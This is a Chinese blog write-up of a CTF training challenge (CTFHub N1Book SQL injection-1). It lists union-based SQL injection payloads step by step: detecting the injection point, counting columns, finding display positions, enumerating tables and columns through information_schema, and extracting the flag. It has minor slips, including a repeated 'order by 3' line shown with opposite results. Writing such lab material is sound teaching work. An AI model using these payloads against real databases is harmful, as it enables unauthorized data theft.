CTFHub_N1Book-SQL注入-1(union注入)

N1Book-第一章Web入门-CTF中的SQL注入-SQL注入-1

writeup:

复制代码
1.确认是字符型注入
1'            #无回显
1' --+        #有回显

2.order by确认共有3列
1' order by 3 --+    #有回显
1' order by 3 --+    #无回显


2.union注入,确认显示位
-1' union select 1,2,3 --+    #回显2 3

3.获取表名:fl4g,notes
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

4.获取字段名:fllllag
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+

5.获取flag
-1' union select 1,2,fllllag from fl4g --+
复制代码

最终拿到flag

posted @   zhengna  阅读(882)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示